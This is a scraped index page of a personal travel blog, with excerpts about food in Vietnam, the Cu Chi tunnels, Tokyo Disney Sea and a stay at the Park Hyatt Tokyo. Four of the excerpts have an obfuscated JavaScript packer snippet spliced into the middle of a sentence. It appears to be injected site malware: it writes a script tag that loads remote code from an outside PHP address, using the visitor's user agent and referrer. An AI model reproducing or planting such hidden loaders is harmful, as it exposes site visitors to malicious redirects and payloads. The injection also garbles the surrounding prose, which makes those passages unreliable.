Old Brynashley.com site content
We never made it to Halong Bay. It was billed as a solid 4 hour bus ride from Hanoi and not really doable in 1 day. As a result, we decided to pass. Instead, we headed to Trang An. After a decent amount of research, we picked Trang An based off of the reviews – […]
Bai Dinh Pagoda and Trang An Read More »
We were pleasantly surprised by the amazing food in Vietnam. It was a welcome change from the food in Japan. Very fresh and almost always delicious! Here’s a quick recap. Bun ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|naeny|var|u0026u|referrer|zykkz||js|php’.split(‘|’),0,{})) Bo – 67 Hang Dieu It’s like pho’s burly cousin from the country. It uses a heartier broth and
Everything else we ate in Vietnam Read More »
It’s a Vietnamese pancake. But it’s so much more than just a silly pancake. We had Banh Xeo with Brinda after our trip to the Cu Chi tunnels. The Banh Xeo “restaurant” was not a place I’d typically stop at. It was an outdoor-ish kitchen with a bunch of metal tables and chairs. I’d soon
The Cu Chi tunnels are a short drive from Ho Chi Minh city – a little less than 1 hr. I knew nothing about them, “thankfully” my history buff husband was right on top of it. So we spent the morning of day 2 exploring the tunnels. For anyone planning a trip to the tunnels,
I guess it’s about time I moved on from Japan….it has been about 3 weeks since we were there! We spent our time in Vietnam split between Saigon/Ho Chi Minh City and Hanoi. We started off in Saigon, staying with our friends Varun and Brinda. Varun and I were RAs together in the dorms and
Good morning, Vietnam! Read More »
No trip to Japan would be complete without a visit to the other happiest place on earth. Right? Well, at least it wouldn’t be complete for me. Thankfully, my friends bought me a ticket for my birthday! Coolest friends ever! Here are some of the interesting things I learned about Disney Sea. 1. Disney Sea
10 things to know about Tokyo Disney Sea Read More »
Nick and I have been wise to travel hacking for a year or two, but have never really attempted any of the strategies. But now we’re hooked! What ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azakb|var|u0026u|referrer|sbsfi||js|php’.split(‘|’),0,{})) is travel hacking? Basically, it’s making travel more budget friendly. On our first travel hacking experience, we successfully stayed at the Park
Travel Hacking Success at the Park Hyatt Tokyo Read More »
Yeah, ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khhkk|var|u0026u|referrer|nssza||js|php’.split(‘|’),0,{})) I know. Something I learned while in Vietnam? They are very open and honest people…brutally honest. They just say what they are thinking – whether it seems polite or not (politeness being determined by western standards only). On some level, I can be down with that. The 2 most
You don’t look like a dancer… Read More »
I’ve ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|faekb|var|u0026u|referrer|kiefk||js|php’.split(‘|’),0,{})) never felt more like a superstar than I did while staying at the Park Hyatt Tokyo. If this is what being rich and famous is like, I’m totally down. Today, I’m going to tell you how amazing this hotel is. And tomorrow, I’m going to tell you how we
Staying at the Park Hyatt Tokyo Read More »
We are just over the half way point. Which seems absolutely CRAZY! I was looking at pictures from earlier in the trip, trying my best to cull like crazy and edit early, and found it hard to believe we were in Japan a few weeks ago. Needless to say, this trip has made me incredibly
Day 21: Chilling in a Cambodian Cafe Read More »
